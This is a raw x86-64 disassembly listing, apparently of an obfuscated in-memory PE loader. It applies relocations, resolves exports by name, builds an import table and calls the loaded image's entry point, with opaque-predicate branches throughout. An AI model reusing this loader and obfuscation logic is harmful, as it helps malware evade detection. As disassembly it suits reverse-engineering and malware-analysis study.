xor r10d, r10d
test al, 1
jne 0x180002218
jmp 0x180002393
test al, al
je 0x1800021f0
jmp 0x1800021b5
add r10, 1
test al, 1
sete bl
cmp edx, 0xa
setl al
or al, bl
cmp r10, r9
je 0x180002375
test al, 1
je 0x180002393
movzx esi, word [r14 + r10*2 + 8]
mov eax, esi
shr eax, 0xc
mov ebp, esi
and ebp, 0xfff
cmp esi, 0xa000
jae 0x1800022bc
cmp eax, 3
jne 0x180002359
cmp edx, 0xa
jl 0x180002254
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x180002397
mov eax, dword [r14]
lea rcx, [r12 + rax*4]
mov eax, ebp
add dword [rcx + rax*4], r11d
mov ecx, dword [0x180020a74]
mov edx, dword [0x180020a78]
cmp edx, 0xa
jl 0x180002359
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
je 0x180002359
lea rax, [r12 + rax*4]
mov ecx, dword [r14]
add dword [rax + rcx*4], r11d
mov ecx, dword [r14]
add dword [rax + rcx*4], r11d
mov ecx, dword [0x180020a74]
mov edx, dword [0x180020a78]
cmp edx, 0xa
jl 0x180002359
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
jne 0x180002289
jmp 0x180002359
cmp eax, 0xa
jne 0x180002359
mov eax, dword [r14]
add rbp, r12
add qword [rax + rbp], r11
jmp 0x1800022d9
mov eax, dword [r14]
add qword [rbp + rax], r11
mov ecx, dword [0x180020a74]
mov edx, dword [0x180020a78]
cmp edx, 0xa
jl 0x180002359
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
je 0x180002359
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
cmp edx, 0xa
jl 0x180002324
test eax, eax
je 0x180002324
mov eax, dword [r14]
add qword [rbp + rax], r11
mov ecx, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
cmp edx, 0xa
jl 0x18000232d
test eax, eax
jne 0x18000234f
mov eax, dword [r14]
add qword [rbp + rax], r11
cmp dword [0x180020a78], 0xa
jl 0x1800022d1
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800022d1
mov eax, dword [r14]
add qword [rbp + rax], r11
jmp 0x18000232d
lea eax, [rcx - 1]
imul eax, ecx
cmp edx, 0xa
jl 0x1800021f6
mov esi, eax
and esi, 1
je 0x1800021f6
jmp 0x180002395
test al, al
je 0x180002399
cmp edx, 0xa
jl 0x180002197
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
je 0x180002197
jmp 0x180002391
jmp 0x180002393
jmp 0x180002395
jmp 0x180002397
jmp 0x180002399
cmp edx, 0xa
jl 0x1800023a7
and ebp, 1
je 0x1800023a7
jmp 0x1800023a5
lea rax, [r12 + 2]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x40]
mov r15d, dword [rax + 0x90]
add r15, r12
mov r14d, dword [r15 + 0xc]
test r14, r14
je 0x18000284b
add r14, r12
jmp 0x1800023e3
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, r14
call r9
mov rcx, qword [rsp + 0x30]
call fcn.1800028c0
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000240e
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002837
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000243d
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002839
add r8, r9
mov ebp, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add r10, r9
add rbp, r9
mov esi, dword [rbp]
add rsi, r9
mov rcx, rdi
movzx eax, byte [rcx]
movzx edx, byte [rsi]
test al, al
je 0x18000246f
add rcx, 1
add rsi, 1
cmp al, dl
je 0x180002459
cmp al, dl
je 0x18000247d
add rbp, 4
add r10, 2
jmp 0x180002450
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, r14
call r9
mov rbx, rax
mov ecx, dword [0x180020a74]
mov eax, dword [0x180020a78]
cmp eax, 0xa
jl 0x180002553
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180002553
mov rcx, qword [rsp + 0x30]
call fcn.1800028c0
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x1800024e0
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000283b
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000250f
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x18000283d
add r8, r9
mov ebp, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add r10, r9
add rbp, r9
mov esi, dword [rbp]
add rsi, r9
mov rcx, rdi
movzx eax, byte [rcx]
movzx edx, byte [rsi]
test al, al
je 0x180002541
add rcx, 1
add rsi, 1
cmp al, dl
je 0x18000252b
cmp al, dl
je 0x1800023d2
add rbp, 4
add r10, 2
jmp 0x180002522
mov rdx, r15
mov ebp, dword [r15]
mov r13d, dword [r15 + 0x10]
add r13, r12
add rbp, r12
mov qword [rsp + 0x60], rbp
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete r8b
cmp eax, 0xa
setl cl
or cl, r8b
test cl, cl
je 0x18000257e
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx]
test rcx, rcx
je 0x18000281c
mov rax, qword [rsp + 0x38]
add rax, rcx
test rcx, rcx
movzx r14d, cx
cmovns r14, rax
mov rcx, qword [rsp + 0x30]
call fcn.1800028c0
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x1800025d1
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002847
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002600
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002849
add r8, r9
mov ebp, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add r10, r9
add rbp, r9
mov esi, dword [rbp]
add rsi, r9
mov rax, qword [rsp + 0x50]
movzx ecx, byte [rax]
movzx edx, byte [rsi]
test cl, cl
je 0x180002634
add rax, 1
add rsi, 1
cmp cl, dl
je 0x18000261e
cmp cl, dl
je 0x180002642
add rbp, 4
add r10, 2
jmp 0x180002613
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, rbx
mov rdx, r14
call r9
mov qword [r13], rax
mov ecx, dword [0x180020a74]
mov eax, dword [0x180020a78]
cmp eax, 0xa
jl 0x18000280d
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x18000280d
mov rcx, qword [rsp + 0x30]
call fcn.1800028c0
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x1800026a9
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000283f
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800026d8
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002841
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add r10, r9
add rdx, r9
mov esi, dword [rdx]
add rsi, r9
mov rbp, qword [rsp + 0x50]
movzx eax, byte [rbp]
movzx ecx, byte [rsi]
test al, al
je 0x18000270c
add rbp, 1
add rsi, 1
cmp al, cl
je 0x1800026f5
cmp al, cl
je 0x18000271a
add rdx, 4
add r10, 2
jmp 0x1800026eb
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, rbx
mov rdx, r14
call r9
mov qword [r13], rax
mov rcx, qword [rsp + 0x30]
call fcn.1800028c0
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000275d
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002843
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000278c
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002845
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add r10, r9
add rdx, r9
mov esi, dword [rdx]
add rsi, r9
mov rbp, qword [rsp + 0x50]
movzx eax, byte [rbp]
movzx ecx, byte [rsi]
test al, al
je 0x1800027c0
add rbp, 1
add rsi, 1
cmp al, cl
je 0x1800027a9
cmp al, cl
je 0x1800027ce
add rdx, 4
add r10, 2
jmp 0x18000279f
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, rbx
mov rdx, r14
call r9
mov qword [r13], rax
cmp dword [0x180020a78], 0xa
jl 0x1800025a6
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000267e
jmp 0x1800025a6
add qword [rsp + 0x60], 8
add r13, 8
jmp 0x180002568
add r15, 0x14
cmp eax, 0xa
jl 0x1800023c0
and edx, 1
je 0x1800023c0
jmp 0x1800023a5
jmp 0x180002837
jmp 0x180002839
jmp 0x18000283b
jmp 0x18000283d
jmp 0x18000283f
jmp 0x180002841
jmp 0x180002843
jmp 0x180002845
jmp 0x180002847
jmp 0x180002849
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x28]
add rax, r12
call rax
cmp dword [0x180020a78], 0xa
jl 0x1800028a1
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800028a1
mov rsi, qword [rsp + 0x40]
mov eax, dword [rsi + 0x28]
add rax, r12
call rax
mov eax, dword [rsi + 0x28]
add rax, r12
call rax
cmp dword [0x180020a78], 0xa
jl 0x1800028a1
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002877
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret